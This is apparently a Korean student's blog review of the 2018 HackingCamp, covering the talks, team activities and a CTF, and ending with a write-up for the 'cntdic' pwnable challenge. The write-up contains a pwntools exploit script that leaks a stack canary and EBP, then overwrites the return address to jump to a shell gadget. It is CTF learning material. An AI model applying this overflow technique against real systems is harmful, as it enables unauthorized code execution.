2018 18th HackingCamp Review

이래저래 사람들도 많이 뵙고 재밌었어용ㅎㅎ 개강 전 마지막 방학에 좋은 경험이였습니당ㅎㅎ

이번 발표 주제들이였는데 다 재밌고 다들 열심히 발표해주셧어요ㅎㅎ

개인적으로는 버그헌팅 주제들이 되게 재밌었네용 담에 꼭 도전해보고싶습니다ㅋㅋ

그리고 특히 heap 발표하신분 엄청 친절하게 설명해주셔서 감탄했습니다ㅋㅋ

중간중간 쉬는 시간에 SISS 분들이 이벤트도 해주셔서 팀원들이랑도 친해지고 재밌었어요ㅋㅋ

아이스크림 사준 팀장언니 짱bb 다른 팀원분들도 다들 친절하시고 넘 웃기셧어요ㅋㅋㅋㅋ

그 후엔 저녁먹고 장기자랑도 보고 치킨도 먹으면서 ctf 했습니당

ctf 는 포너블은 꼭 풀어야지 했는데, 초반에 한번도 보지 못한 윈도우 포너블이 나와서 당황하다가,..

c0nstant 님에게 왜 윈도우 포너블만 있냐고 물어보니 공부시키려고 그랬다고 합니다..ㅎㅎㅎ 공부해야지..

cntdic 나오고 그것만 봤는데 어려운 문제가 아닌데

그날 머리가 안돌아갔는지 시간안에 못풀어서 너무 아쉬웠습니다..ㅠㅠ

flag도 못따고 아쉬운 마음에 여기에 라업 투척..

카나리있고 바운더리 걸려있는 단순한 bof 문제였습니당

from pwn import *
from time import *

w = process("./cntdic")
#w = remote("kshgroup.kr",1800)

def create(name,description,language,capital):
	w.sendlineafter("Your choice : ", "1")
	w.sendlineafter(":", name)
	w.sendlineafter(":", description)
	w.sendlineafter(":", language)
	w.sendlineafter(":", capital)
	w.recvline()

def remove():
	w.sendlineafter("Your choice : ", "2")
	w.sendlineafter(":", "y")

def showlist():
    w.sendlineafter("Your choice : ", "3")

def showdetail(index):
    w.sendlineafter("Your choice : ", "4")
    w.sendlineafter(":", str(index))
	w.recvuntil("Capital :")
	canary = u32(w.recvuntil("Language :")[55:58].rjust(4,"\x00"))
	ebp = u32(w.recvuntil("=")[26:30])+0x40
	return canary, ebp

for i in range(0, 95):
	create("a"*20, "b"*30,"c"*20,"d"*20)

create("a"*20, "b"*30,"c"*20,"d"*53)

canary, ebp = showdetail(99)
log.info("Find Canary!! "+hex(canary))
log.info("Find EBP!! "+hex(ebp))

one_shot = 0x08048e86 + 0x1d

remove()

create("a"*20, "b"*30,"c"*20,"d"*53+p32(canary)+p32(one_shot)+p32(ebp-4))

w.interactive()

상받으신 분들 다들 축하드리고 해킹캠프 운영해주신 POC 분들, SISS, DEMON 팀 분들 다들 고생하셧습니다 XD

저는 이만 윈도우 포너블 공부하러...빠이!